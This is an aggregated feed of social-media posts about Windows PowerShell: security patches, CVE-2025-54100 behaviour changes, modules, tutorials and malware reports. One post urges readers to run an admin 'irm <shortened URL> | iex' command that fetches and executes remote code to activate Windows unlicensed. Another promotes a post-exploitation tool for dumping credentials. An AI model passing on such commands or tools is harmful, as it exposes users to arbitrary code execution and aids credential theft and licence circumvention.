🛡️ Windows PowerShell 0-Day Vulnerability Let Attackers Execute Malicious Code Source: https://t.co/TkAJ8ESYCR Security update addressing a dangerous Windows PowerShell vulnerability that allows attackers to execute malicious code on affected systems. The vulnerability,

Critical #Microsoft #Windows Secure Boot UEFI certificates expiring next year. Here's how to update them, along with a new #PowerShell tool to assist. #security #mdm #msintune https://t.co/lCi6m7QWB6

A simple, lightweight PowerShell script to remove pre-installed apps, disable telemetry.

Hey, #EntraID people! 🧑‍💻 Check out v1.1.0 of the Microsoft.Entra PowerShell module! The past few releases have added some great improvements to try out. They also removed the pinned version requirement for the Microsoft.Graph.Authentication module! 🎉 https://t.co/v6naI6ci5N

I've been building a custom #PowerShell OSD frontend for @2pintsoftware #DeployR that also works in #ConfigMgr OSD and made it available for anyone to use / modify. Driven by JSON Config Check out the Post Here: https://t.co/HRUDpLWDx3 @GitHubCopilot helped a lot! #SCCM

This PowerShell script promises to remove every AI feature from Windows – RemoveWindowsAI goes deeper than ever to scrub Microsoft's "agentic AI" https://t.co/DTwUDtyxzO

⚠️ Le patch pour la vulnérabilité CVE-2025-54100 peut avoir un impact sur vos scripts PowerShell Je vous propose un récap' dans cet article 👇 - https://t.co/ivWOROT5VN #PowerShell #infosec #veilleIT #informatique

This PowerShell malware used dual persistence registry hijack and a disguised scheduled task to stay hidden.

Create a Linux VM in #Azure with PowerShell! ✨ Deploy Debian in minutes ⚡ Auto-generate SSH keys securely 🚀 Install NGINX to see it live Start here 👉 https://t.co/J62SXmoV57 #Azure #Linux #PowerShell #CloudComputing

Well this is something that I have never seen before today in #PowerShell 5.1 & the lines causing it have been in my $profile for years. PowerShell.exe date is today - this could break a lot of scripts (as in cause them to pause f input)!! 😱

PowerShell Switch: A Complete Guide to Mastering Conditional Logic https://t.co/PBXT5ovMEf

> 「CVE-2025-54100」に関しては、対策として「PowerShell」の「Invoke-WebRequest」コマンドにセキュリティ警告の確認プロンプトが追加されている。スクリプトが停止する可能性がある点には注意したい。 https://t.co/5f7tUYxJRX

#PowerShell Christmas Tree

「Windows PowerShell 5.1」に「IE」要素排除のための仕様変更／「Invoke-WebRequest」に警告を追加、2025年12月のセキュリティパッチ以降の適用で https://t.co/gk0lSy1T1M

Uncover how PsMapExec — a stealthy PowerShell-based post-exploitation tool — can dump credentials, execute remote commands, and help you quietly dominate Windows/Active Directory environments. https://t.co/pTblxTF3bY @three_cube

The threat actor known as Storm-0249 is shifting from simple initial access brokering to far more advanced techniques, now using domain spoofing, DLL sideloading and fileless PowerShell execution to quietly deliver ransomware. By running malicious code through tools that

I traced a PowerShell backdoor launched from wscript.exe using base64 encoding and C2 comms to a server. Memory analysis revealed C2 beaconing and token file exfiltration.

If your computer shows “ activate windows “ or your office package need activation. Follow this steps⬇️ (Make sure you’re connected to the internet) Step 1 : Press windows key + x Step 2 : Select windows powershell(admin) Type this command: irm https://t.co/dZZTqmT1bB | iex

2025 年 12 月の月例セキュリティ更新プログラムを適用後、Windows の PowerShell では Invoke-WebRequest 実行時に警告が表示されるように動作変更しています。 PowerShell での自動処理などを実施している企業環境は、警告による動作変更にご注意ください 詳細: https://t.co/0VgosVPpaq